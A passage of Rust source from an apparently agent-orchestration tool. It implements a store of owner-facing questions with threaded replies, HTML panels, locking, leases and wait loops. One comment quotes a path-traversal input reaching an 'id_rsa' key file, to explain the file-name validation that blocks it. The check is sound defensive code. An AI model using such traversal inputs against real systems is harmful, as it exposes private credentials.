887        self.answer(Answer::Choice(label.to_owned()))
888    }
889
890    /// The owner speaking back without answering: a request for context, a
891    /// clarifying question, anything short of a decision.
892    ///
893    /// Rejects the same two states [`Question::answer`] does, and for the same
894    /// reason - a question with a recorded [`Answer`] or an abandoned one has
895    /// no run left listening for a reply - and an empty turn, which would tell
896    /// the agent nothing it didn't already know. Never changes `status`: the
897    /// question stays [`QuestionStatus::Open`], because the owner did not
898    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
899    /// counting this as the one question it always was.
900    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
901        match self.status {
902            QuestionStatus::Answered => bail!(
903                "question {} was already answered; there is nothing left to \
904                 discuss",
905                self.short()
906            ),
907            QuestionStatus::Abandoned => bail!(
908                "question {} was abandoned and the run behind it is gone",
909                self.short()
910            ),
911            QuestionStatus::Open => {}
912        }
913        let body = body.into();
914        if body.trim().is_empty() {
915            bail!("a message to question {} cannot be empty", self.short());
916        }
917        self.thread.push(Turn {
918            who: Who::Operator,
919            body,
920            at: Timestamp::now(),
921            note: None,
922        });
923        Ok(())
924    }
925
926    /// The agent replying to the owner's last word, in place of an answer:
927    /// same question, same id, another round.
928    ///
929    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
930    /// on the same reasoning [`Questions::put_panel`] replaces a panel
931    /// wholesale: the whole point of asking back is that what should be
932    /// offered next may have changed, and a caller that wanted the old set
933    /// unchanged can simply pass it again. An empty `Vec` means free text,
934    /// exactly as it does when the question is first asked.
935    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
936        match self.status {
937            QuestionStatus::Answered => bail!(
938                "question {} was already answered; replying now would not \
939                 reach anyone",
940                self.short()
941            ),
942            QuestionStatus::Abandoned => bail!(
943                "question {} was abandoned and the run behind it is gone",
944                self.short()
945            ),
946            QuestionStatus::Open => {}
947        }
948        let body = body.into();
949        if body.trim().is_empty() {
950            bail!("a reply to question {} cannot be empty", self.short());
951        }
952        // An action whose label is no longer offered could never fire.
953        self.actions.retain(|label, _| choices.contains(label));
954        self.choices = choices;
955        let unread = self.unread_from_owner().is_some();
956        self.thread.push(Turn {
957            who: Who::Agent,
958            body,
959            at: Timestamp::now(),
960            note: None,
961        });
962        // The agent has read everything up to its own reply - but only if
963        // nothing the owner said in the meantime is still unread. A second say
964        // that landed after the agent's last look must stay undelivered.
965        if !unread {
966            self.delivered_turns = self.thread.len();
967        }
968        Ok(())
969    }
970
971    /// What the owner said that the agent has not read yet, oldest first,
972    /// joined. `None` unless the question is open and such a turn exists.
973    ///
974    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
975    /// second owner turn it never saw, which leaves the last turn the agent's
976    /// and the ball apparently back with the owner while a say is still unread.
977    pub fn unread_from_owner(&self) -> Option<String> {
978        if !self.status.open() {
979            return None;
980        }
981        let said = self.undelivered_owner_turns();
982        (!said.is_empty()).then(|| said.join("\n\n"))
983    }
984
985    /// Owner turns the agent has not been handed yet, oldest first, whatever
986    /// the question's status. [`Question::unread_from_owner`] adds the "still
987    /// open" guard the waiter and the deputy rely on; an answer being handed
988    /// over needs the says that came before it even though the question is
989    /// closed by then.
990    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
991        let from = self.delivered_turns.min(self.thread.len());
992        self.thread[from..]
993            .iter()
994            .filter(|t| t.who == Who::Operator)
995            .map(|t| t.body.as_str())
996            .collect()
997    }
998
999    /// When the conversation last moved: the newest thread turn, or the asking
1000    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1001    /// every reply, so a deadline runs from here and not from `asked_at`.
1002    pub fn last_activity(&self) -> i64 {
1003        self.thread
1004            .iter()
1005            .map(|t| t.at.as_second())
1006            .max()
1007            .unwrap_or(0)
1008            .max(self.asked_at.as_second())
1009    }
1010
1011    /// Is the ball in the agent's court?
1012    ///
1013    /// True from the moment the owner speaks back until the agent's next
1014    /// [`Question::reply`], and never on a fresh or an already-settled
1015    /// question. [`QuestionStatus`] does not move for either side of this -
1016    /// see [`Question::say`] - so this is the one place that state is
1017    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1018    /// separately rather than asking the phone to infer it from the thread.
1019    pub fn waiting_on_agent(&self) -> bool {
1020        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1021    }
1022
1023    /// Should a notification go out right now?
1024    ///
1025    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1026    /// there is no earlier operator turn to have already caught anyone's
1027    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1028    /// since the owner's own last word - see that constant for why the window
1029    /// exists at all and why its length is not configurable.
1030    fn should_notify(&self, now: Timestamp) -> bool {
1031        let Some(last) = self
1032            .thread
1033            .iter()
1034            .rev()
1035            .find(|t| t.who == Who::Operator)
1036            .map(|t| t.at)
1037        else {
1038            return true;
1039        };
1040        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1041    }
1042}
1043
1044/// A question store on disk.
1045#[derive(Debug, Clone)]
1046pub struct Questions {
1047    root: PathBuf,
1048}
1049
1050impl Questions {
1051    /// The operator's questions, `<home>/questions`.
1052    pub fn open() -> Self {
1053        Self::at(crate::run::home().join("questions"))
1054    }
1055
1056    /// A store at an explicit root. Tests use this, which is why none of them
1057    /// need the operator's real home.
1058    pub fn at(root: PathBuf) -> Self {
1059        Self { root }
1060    }
1061
1062    /// Directory holding the question files.
1063    pub fn root(&self) -> &Path {
1064        &self.root
1065    }
1066
1067    /// Path for one question id.
1068    pub fn path_of(&self, id: &str) -> PathBuf {
1069        self.root.join(format!("{id}.json"))
1070    }
1071
1072    /// Directory holding one question's panel, `<root>/<id>.panel`.
1073    pub fn panel_dir(&self, id: &str) -> PathBuf {
1074        self.root.join(format!("{id}{PANEL_DIR}"))
1075    }
1076
1077    /// Store a panel: the html, plus `assets` copied in under their base
1078    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1079    /// question, or the record on disk will deny having a panel that exists.
1080    ///
1081    /// The assets are **copied, not referenced**. An agent authors its panel
1082    /// inside a candidate worktree and points at files there, and `magi fold`
1083    /// deletes those worktrees; a question is the permanent record of a
1084    /// decision the owner took, so a panel that referenced its own images
1085    /// would render as broken boxes exactly when someone went back to ask why
1086    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1087    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1088    /// so the bytes counted and the bytes written are the same target file's -
1089    /// which is the intent: storing a link would leave the panel pointing at
1090    /// the worktree again, one indirection further away.
1091    ///
1092    /// Everything that can be rejected is rejected before the first byte is
1093    /// written, and the panel is then assembled in a scratch directory and
1094    /// swapped in. So a refusal leaves the previous panel intact, and a
1095    /// success replaces it *wholesale* rather than merging: a re-asked
1096    /// question showing one attempt's diff next to another attempt's table
1097    /// would be a panel neither agent ever wrote.
1098    ///
1099    /// [`put`]: Questions::put
1100    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1101        if !valid_asset_name(&q.id) {
1102            bail!(
1103                "question id `{}` is not a name magi will build a panel path from",
1104                q.id
1105            );
1106        }
1107        if html.trim().is_empty() {
1108            bail!(
1109                "question {} was handed an empty panel; an empty frame reads to \
1110                 the owner as \"the agent had nothing to say\", which is a lie",
1111                q.short()
1112            );
1113        }
1114
1115        // Names, then sizes, then writing - in that order, so nothing below
1116        // can leave a partial panel on disk.
1117        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1118        for src in assets {
1119            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1120            if !valid_asset_name(name) {
1121                bail!(
1122                    "panel asset `{}` cannot be stored: a panel file name must \
1123                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1124                    src.display()
1125                );
1126            }
1127            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1128                bail!(
1129                    "two panel assets are both named `{name}` - {} and {} - and \
1130                     the panel can only show one of them; rename one at the source",
1131                    first.display(),
1132                    src.display()
1133                );
1134            }
1135            named.push((name.to_owned(), src.as_path()));
1136        }
1137
1138        let mut total = html.len() as u64;
1139        for (_, src) in &named {
1140            let meta = std::fs::metadata(src)
1141                .with_context(|| format!("stat panel asset {}", src.display()))?;
1142            if !meta.is_file() {
1143                bail!(
1144                    "panel asset `{}` is not a file; a panel is html plus files \
1145                     copied beside it",
1146                    src.display()
1147                );
1148            }
1149            total = total.saturating_add(meta.len());
1150        }
1151        if total > PANEL_MAX_BYTES {
1152            bail!(
1153                "panel for question {} is {total} bytes, over magi's cap of \
1154                 {PANEL_MAX_BYTES} bytes; nothing was written",
1155                q.short()
1156            );
1157        }
1158
1159        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1160        let dir = self.panel_dir(&q.id);
1161        std::fs::create_dir_all(&self.root)
1162            .with_context(|| format!("create {}", self.root.display()))?;
1163        clear_dir(&tmp)?;
1164        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1165        if let Err(e) = fill_panel(&tmp, html, &named) {
1166            // A copy that dies halfway must not become the panel, and must not
1167            // leave scratch behind for the next call to inherit.
1168            let _ = std::fs::remove_dir_all(&tmp);
1169            return Err(e);
1170        }
1171        clear_dir(&dir)?;
1172        std::fs::rename(&tmp, &dir)
1173            .with_context(|| format!("move panel into {}", dir.display()))?;
1174
1175        q.panel = true;
1176        q.assets = named.into_iter().map(|(n, _)| n).collect();
1177        q.assets.sort_unstable();
1178        Ok(())
1179    }
1180
1181    /// The panel's html, or `None` when the question has no panel.
1182    ///
1183    /// `None` rather than an error for a missing panel because the caller is a
1184    /// web handler whose answer is 404 either way, and an unreadable panel is
1185    /// not a reason to fail the question it belongs to.
1186    pub fn panel_html(&self, id: &str) -> Option<String> {
1187        if !valid_asset_name(id) {
1188            return None;
1189        }
1190        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1191    }
1192
1193    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1194    /// not a name a panel file can have".
1195    ///
1196    /// Rejects a name failing [`valid_asset_name`] **before touching the
1197    /// filesystem**, which is the whole point of the second check: the name
1198    /// arrives from a URL, the directory is on disk where any process could
1199    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1200    /// operating system would resolve perfectly happily. The two callers'
1201    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1202    /// `Result<Option<_>>` rather than one flattened `Option`.
1203    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1204        if !valid_asset_name(name) {
1205            bail!(
1206                "`{name}` is not a panel file name; it must match \
1207                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1208            );
1209        }
1210        if !valid_asset_name(id) {
1211            return Ok(None);
1212        }
1213        let dir = self.panel_dir(id);
1214        if !dir.is_dir() {
1215            return Ok(None);
1216        }
1217        let path = dir.join(name);
1218        match std::fs::read(&path) {
1219            Ok(bytes) => Ok(Some(bytes)),
1220            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1221            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1222        }
1223    }
1224
1225    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1226    ///
1227    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1228    /// not have to know whether a panel was ever written. The question record
1229    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1230    /// in the same order as everywhere else here.
1231    ///
1232    /// [`put_panel`]: Questions::put_panel
1233    pub fn drop_panel(&self, id: &str) -> Result<()> {
1234        if !valid_asset_name(id) {
1235            bail!("question id `{id}` is not a name magi will build a panel path from");
1236        }
1237        clear_dir(&self.panel_dir(id))?;
1238        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1239    }
1240
1241    /// Path of the lease sidecar for one question id.
1242    pub fn lease_path(&self, id: &str) -> PathBuf {
1243        self.root.join(format!("{id}.lease"))
1244    }
1245
1246    /// The lease on a question, if a readable one exists.
1247    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1248        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1249        serde_json::from_str(&body).ok()
1250    }
1251
1252    /// Say, as `kind`, that something is alive and waiting on this question.
1253    ///
1254    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1255    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1256    /// the holder is gone a little early, and that is what the delivery guard
1257    /// (the seat still being busy) is there for.
1258    pub fn beat(&self, id: &str, kind: WaiterKind) {
1259        let lease = Lease {
1260            kind,
1261            pid: std::process::id(),
1262            beat_at: Timestamp::now(),
1263        };
1264        let path = self.lease_path(id);
1265        let tmp = path.with_extension("lease.tmp");
1266        let written = std::fs::create_dir_all(&self.root)
1267            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1268            .and_then(|()| std::fs::rename(&tmp, &path));
1269        if let Err(e) = written {
1270            tracing::debug!("could not beat the lease on question {id}: {e}");
1271        }
1272    }
1273
1274    /// Remove the lease sidecar. Absent is fine.
1275    pub fn drop_lease(&self, id: &str) {
1276        let _ = std::fs::remove_file(self.lease_path(id));
1277    }
1278
1279    /// Read-modify-write one question under a short exclusive lock, so the
1280    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1281    /// each other with a copy that predates the others.
1282    ///
1283    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1284    /// a torn file and does nothing for two writers that both read the same
1285    /// version first. Everything that changes a question that can still be
1286    /// answered goes through here: `f` sees the current record, not one loaded
1287    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1288    /// mid-update and is broken.
1289    pub fn update<T>(
1290        &self,
1291        id: &str,
1292        f: impl FnOnce(&mut Question) -> Result<T>,
1293    ) -> Result<(Question, T)> {
1294        std::fs::create_dir_all(&self.root)
1295            .with_context(|| format!("create {}", self.root.display()))?;
1296        let lock = self.root.join(format!("{id}.lock"));
1297        let started = std::time::Instant::now();
1298        loop {
1299            match std::fs::OpenOptions::new()
1300                .write(true)
1301                .create_new(true)
1302                .open(&lock)
1303            {
1304                Ok(_) => break,
1305                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1306                    let stale = std::fs::metadata(&lock)
1307                        .and_then(|m| m.modified())
1308                        .ok()
1309                        .and_then(|t| t.elapsed().ok())
1310                        .is_some_and(|age| age > LOCK_STALE);
1311                    if stale {
1312                        let _ = std::fs::remove_file(&lock);
1313                    } else if started.elapsed() > LOCK_STALE {
1314                        bail!("could not lock question {id}");
1315                    } else {
1316                        std::thread::sleep(Duration::from_millis(15));
1317                    }
1318                }
1319                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1320            }
1321        }
1322        struct Unlock(PathBuf);
1323        impl Drop for Unlock {
1324            fn drop(&mut self) {
1325                let _ = std::fs::remove_file(&self.0);
1326            }
1327        }
1328        let _guard = Unlock(lock);
1329        let mut q = read_path(&self.path_of(id))?;
1330        let out = f(&mut q)?;
1331        self.put(&mut q)?;
1332        Ok((q, out))
1333    }
1334
1335    /// Write a question, atomically, so a process killed mid-write leaves the
1336    /// previous state readable rather than a truncated file that would strand
1337    /// the run waiting on it.
1338    pub fn put(&self, q: &mut Question) -> Result<()> {
1339        std::fs::create_dir_all(&self.root)
1340            .with_context(|| format!("create {}", self.root.display()))?;
1341        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1342        let path = self.path_of(&q.id);
1343        let tmp = path.with_extension("json.tmp");
1344        let is_new = !path.exists();
1345        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1346        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1347        // A first write of an open question pages the operator, so a separate
1348        // notification about the same task or run is now a second page.
1349        if is_new
1350            && q.status.open()
1351            && q.node != crate::bump::NOTICE_NODE
1352            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1353        {
1354            crate::notices::quiet_for(home, q);
1355        }
1356        Ok(())
1357    }
1358
1359    /// Load a question by id or unambiguous id prefix.
1360    pub fn get(&self, id: &str) -> Result<Question> {
1361        let resolved = self.resolve_id(id)?;
1362        let q = read_path(&self.path_of(&resolved))?;
1363        Ok(self.with_repair_choice(q))
1364    }
1365
1366    fn with_repair_choice(&self, q: Question) -> Question {
1367        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1368            && q.node == crate::land::APPROVAL_NODE
1369            && let Some(home) = self.root.parent()
1370            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1371        {
1372            let mut upgraded = q.clone();
1373            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1374                match self.update(&q.id, |current| {
1375                    crate::land::upgrade_repair_choice(current, &state);
1376                    Ok(())
1377                }) {
1378                    Ok((current, ())) => return current,
1379                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1380                }
1381            }
1382        }
1383        q
1384    }
1385
1386    /// Every question on disk: open first, then newest first.
1387    ///
1388    /// Open first because that ordering is the product - the list exists to
1389    /// show the operator what has stopped, and an answered question is history
1390    /// underneath it. Unreadable files are skipped rather than fatal: one
1391    /// corrupt question must not take the web UI down, and must certainly not
1392    /// hide the open question the operator was looking for.
1393    pub fn list(&self) -> Vec<Question> {
1394        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1395            .into_iter()
1396            .flatten()
1397            .flatten()
1398            .map(|e| e.path())
1399            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1400            .filter_map(|p| read_path(&p).ok())
1401            .map(|q| self.with_repair_choice(q))
1402            .collect();
1403        all.sort_unstable_by(|a, b| {
1404            let rank = |q: &Question| u8::from(!q.status.open());
1405            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1406        });
1407        all
1408    }
1409
1410    /// Open questions belonging to one run, newest first.
1411    ///
1412    /// Used to decide whether a parked run can be resumed: while this is
1413    /// non-empty, nothing about the run has changed and no agent should be
1414    /// spawned for it.
1415    pub fn open_for(&self, run: &str) -> Vec<Question> {
1416        self.list()
1417            .into_iter()
1418            .filter(|q| q.status.open() && q.run == run)
1419            .collect()
1420    }
1421
1422    /// Abandon every open question belonging to a run, and report how many.
1423    ///
1424    /// Called when a run's record is deleted. The agent that asked died with
1425    /// the run, so there is nobody left to hand an answer to, and a question
1426    /// left open would keep asking the operator for a decision that can no
1427    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1428    /// イルが見つかりません" with two buttons, for a run whose directory had
1429    /// been gone for two hours.
1430    ///
1431    /// Abandoned rather than deleted, because [`Question::abandon`] already
1432    /// means "this can no longer be answered" and the record of having asked
1433    /// is worth keeping. Answered questions are left exactly as they are.
1434    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1435        let mut abandoned = 0;
1436        for mut q in self.open_for(run) {
1437            q.abandon(why);
1438            self.put(&mut q)?;
1439            abandoned += 1;
1440        }
1441        Ok(abandoned)
1442    }
1443
1444    /// Abandon a run's open questions once `status` says the run is not
1445    /// coming back, worded with what it actually became.
1446    ///
1447    /// The run-deleted case above and this one are the same fact - nobody is
1448    /// left to read an answer - reached by two different doors. This is the
1449    /// one for a run that finished on its own: merged, reached `Ready` with
1450    /// nothing left to do, failed outright with no established point to
1451    /// resume from, or every candidate agreed, with evidence, that nothing
1452    /// belonged in the worktree. Those are exactly the statuses
1453    /// [`RunStatus::resumable`]
1454    /// excludes, and that is the line this draws too - deliberately not
1455    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1456    /// over. Both of those can still be picked back up with the candidates,
1457    /// the review round and the seat sessions already on disk, so a question
1458    /// asked mid-round may yet get a real answer from a real resume, and
1459    /// folding it here would be exactly the mistake this function exists to
1460    /// avoid on the other side - answering back into a run that no longer
1461    /// exists to read it.
1462    ///
1463    /// A no-op, not an error, when `status` is still resumable or when there
1464    /// was nothing open to begin with - callers reach this from more than one
1465    /// place a run can settle, and a second call finding nothing left to
1466    /// abandon is the expected case, not a bug.
1467    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1468        if status.resumable() {
1469            return Ok(0);
1470        }
1471        let why = format!(
1472            "run {run} {}, so nothing is waiting for this answer",
1473            status.as_str()
1474        );
1475        // A post-merge notice is the exception: it is filed *because* the run
1476        // merged, and no agent waits on it - it is a to-do for the owner, not
1477        // a question a dead seat asked. Abandoning it here would erase the
1478        // only alert the moment the run settles.
1479        let mut abandoned = 0;
1480        for mut q in self.open_for(run) {
1481            if q.node == crate::bump::NOTICE_NODE {
1482                continue;
1483            }
1484            q.abandon(&why);
1485            self.put(&mut q)?;
1486            abandoned += 1;
1487        }
1488        Ok(abandoned)
1489    }
1490
1491    /// Expand an id prefix to exactly one question id. The short id the phone
1492    /// and the reports show is a suffix, so that is accepted too.
1493    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1494        use crate::queue::{Reference, record_ids, resolve_reference};
1495        let ids = record_ids(&self.root, "json")?;
1496        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1497            Reference::Found(id) => Ok(id),
1498            Reference::Missing => bail!("no question matches `{prefix}`"),
1499            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1500        }
1501    }
1502
1503    /// Newest modification time in the store, in milliseconds, for change
1504    /// detection. The web UI compares this instead of re-reading every
1505    /// question, so an idle phone on a slow link costs one `stat` per file.
1506    pub fn revision(&self) -> u64 {
1507        std::fs::read_dir(&self.root)
1508            .into_iter()
1509            .flatten()
1510            .flatten()
1511            .filter_map(|e| e.metadata().ok())
1512            .filter_map(|m| m.modified().ok())
1513            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1514            .map(|d| d.as_millis() as u64)
1515            .max()
1516            .unwrap_or(0)
1517    }
1518
1519    /// How many questions are open, whichever side of the conversation is
1520    /// holding the ball right now. Ten turns of back and forth between the
1521    /// owner and the agent are still one open question - see
1522    /// [`Question::say`] - so this does not drop while a reply is in
1523    /// flight. [`Self::count_needs_owner`] is the number that does.
1524    pub fn count_open(&self) -> usize {
1525        self.list().iter().filter(|q| q.status.open()).count()
1526    }
1527
1528    /// How many open questions actually need the owner right now: open, and
1529    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1530    ///
1531    /// This is the number a notification channel owes - the ask bar, the nav
1532    /// badge, the document title - because those exist to say "something
1533    /// needs you". An unread say stops needing the agent once its follow-up
1534    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1535    /// where a round trip must not look like the run resumed.
1536    pub fn count_needs_owner(&self) -> usize {
1537        self.list()
1538            .iter()
1539            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1540            .count()
1541    }
1542
1543    /// The follow-up spent its starts and its final turn is no longer alive.
1544    /// Computed from the lease rather than saved with the question, so the
1545    /// owner can decide even when an unread message remains in the thread.
1546    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1547        q.status.open()
1548            && q.deputy
1549                .as_ref()
1550                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1551            && !self
1552                .read_lease(&q.id)
1553                .is_some_and(|l| l.fresh(Timestamp::now()))
1554    }
1555}
1556
1557/// How a wait over [`Question`] ended.
1558#[derive(Debug, Clone, PartialEq, Eq)]
1559pub enum Wait {
1560    /// The owner decided. Carries [`Question::resolution`].
1561    Answered(String),
1562    /// The owner spoke back without deciding - see [`Question::say`]. The
1563    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1564    /// the caller's move is to hand this text to the agent and let it call
1565    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1566    Replied(String),
1567    /// This call's [`WAIT_SLICE`] ran out with the question still
1568    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1569    /// going quiet, the clock on *this process* running out. The question is
1570    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1571    /// process, so the wait resumes before the shell tool that would have
1572    /// killed this one gets the chance.
1573    Pending,
1574    /// Nobody said anything before the deadline, or the question was closed
1575    /// out from under the wait with no decision recorded - a run deleted out
1576    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1577    /// now on disk.
1578    Abandoned,
1579}
1580
1581/// File a question and wait for the owner, polling the store.
1582///
1583/// The question is updated in place from disk whenever the wait ends, so the
1584/// caller can act on it without re-reading it. `timeout` is the question's
1585/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1586/// of it - see [`Wait::Pending`] for what happens to the rest.
1587pub async fn ask_and_wait(
1588    q: &mut Question,
1589    store: &Questions,
1590    notify: &config::Notify,
1591    timeout: Duration,
1592) -> Result<Wait> {
1593    wait_for_owner(q, store, notify, timeout, POLL).await
1594}
1595
1596/// Resume a wait already filed, without adding a turn or notifying again.
1597///
1598/// This is `magi ask --wait <id>`'s engine: the process that owned the
1599/// previous slice is dead (the tool that ran it killed it, or it simply
1600/// exited after reporting [`Wait::Pending`]), but the question on disk never
1601/// stopped being open, and the owner was already notified about it once. A
1602/// second notification for the same unanswered question would page the
1603/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1604/// unlike [`ask_and_wait`], this skips straight to polling.
1605///
1606/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1607/// caller computes it as what remains until [`Question::asked_at`] plus the
1608/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1609/// up the deadline the first ask set, never push it out further.
1610pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1611    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1612}
1613
1614/// [`ask_and_wait`] with the poll interval injected.
1615///
1616/// Separate only so the tests can drive a whole wait in milliseconds instead of
1617/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1618/// a knob the operator gets to tune.
1619async fn wait_for_owner(
1620    q: &mut Question,
1621    store: &Questions,
1622    cfg: &config::Notify,
1623    timeout: Duration,
1624    poll: Duration,
1625) -> Result<Wait> {
1626    // A question that is already on disk (a `--thread` reply just wrote it under
1627    // the lock) is left alone: this copy may predate an answer or say that
1628    // landed since, and writing it back would erase that.
1629    if !store.path_of(&q.id).is_file() {
1630        store.put(q).context("file the question")?;
1631    }
1632    if q.should_notify(Timestamp::now()) {
1633        if let Err(e) = notify(cfg, q).await {
1634            // A broken webhook is not a reason to throw away an implementation.
1635            // The question is already on disk and the web UI already shows it,
1636            // so the operator still has a way in; only the tap on the shoulder
1637            // is lost.
1638            tracing::warn!(
1639                "could not notify about question {}: {e:#} - the web UI is the \
1640                 only surface for it now",
1641                q.short()
1642            );
1643        }
1644    }
1645    tracing::info!(
1646        "question {} from {} is waiting for you: {}",
1647        q.short(),
1648        q.seat,
1649        q.summary
1650    );
1651    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1652}
1653
1654/// Take the wait as this process: beat the lease and note it on the record.
1655fn hold(store: &Questions, id: &str) {
1656    store.beat(id, WaiterKind::Asker);
1657    let took = store.update(id, |q| {
1658        if q.status.open() {
1659            q.waiter = Some(Waiter {
1660                kind: WaiterKind::Asker,
1661                since: Timestamp::now(),
1662            });
1663        }
1664        Ok(())
1665    });
1666    if let Err(e) = took {
1667        tracing::debug!("could not note the wait on question {id}: {e:#}");
1668    }
1669}
1670
1671/// Record that the agent has read everything so far, so the daemon waiter does
1672/// not resume a session to tell it what was already printed.
1673///
1674/// Callers must invoke this only **after** the word reached the agent's stdout:
1675/// marking first would let a tool timeout kill the process between the mark
1676/// and the print, and the waiter would then consider a word delivered that no
1677/// agent ever saw.
1678pub fn hand_over(store: &Questions, q: &mut Question) {
1679    let done = store.update(&q.id, |r| {
1680        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1681        if r.status == QuestionStatus::Answered {
1682            r.answer_delivered = true;
1683        }
1684        r.waiter = None;
1685        Ok(())
1686    });
1687    match done {
1688        Ok((fresh, ())) => *q = fresh,
1689        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1690    }
1691}
1692
1693/// What the agent is shown for an answer: the owner's says it has not read
1694/// yet, in order, then the answer. With no such say it is `answer` itself,
1695/// byte for byte.
1696pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1697    let says = q.undelivered_owner_turns();
1698    if says.is_empty() {
1699        return answer.to_owned();
1700    }
1701    format!(
1702        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1703        says.join("\n\n")
1704    )
1705}
1706
1707/// Print an answer (with any unread says before it) to `out`, flush, and only
1708/// then record the hand-over. A failed write marks nothing delivered.
1709pub fn deliver_answer(
1710    store: &Questions,
1711    q: &mut Question,
1712    answer: &str,
1713    out: &mut impl std::io::Write,
1714) -> std::io::Result<()> {
1715    writeln!(out, "{}", answer_for_agent(q, answer))?;
1716    out.flush()?;
1717    hand_over(store, q);
1718    Ok(())
1719}
1720
1721/// The polling loop shared by a fresh wait and a resumed one.
1722///
1723/// `timeout` is the budget left before the question's `answer_timeout`
1724/// truly runs out; `slice` bounds how much of that this one call spends
1725/// before handing control back. Landing on `slice` while `timeout` still has
1726/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1727/// silence. Landing on `timeout` itself - because it was no bigger than
1728/// `slice` to begin with - is the real thing, and abandons the question
1729/// exactly as a single unsliced wait always did.
1730async fn wait_loop(
1731    q: &mut Question,
1732    store: &Questions,
1733    timeout: Duration,
1734    slice: Duration,
1735    poll: Duration,
1736) -> Result<Wait> {
1737    // The owner may already have spoken back before this call ever started -
1738    // most often because they did so in the gap between an earlier call
1739    // reporting `Wait::Pending` and this one picking the wait back up with
1740    // `--wait`. That word must surface at once rather than sit unnoticed
1741    // until some *later* turn happens to change something: this call never
1742    // saw it get added, so nothing below would otherwise recognise it as
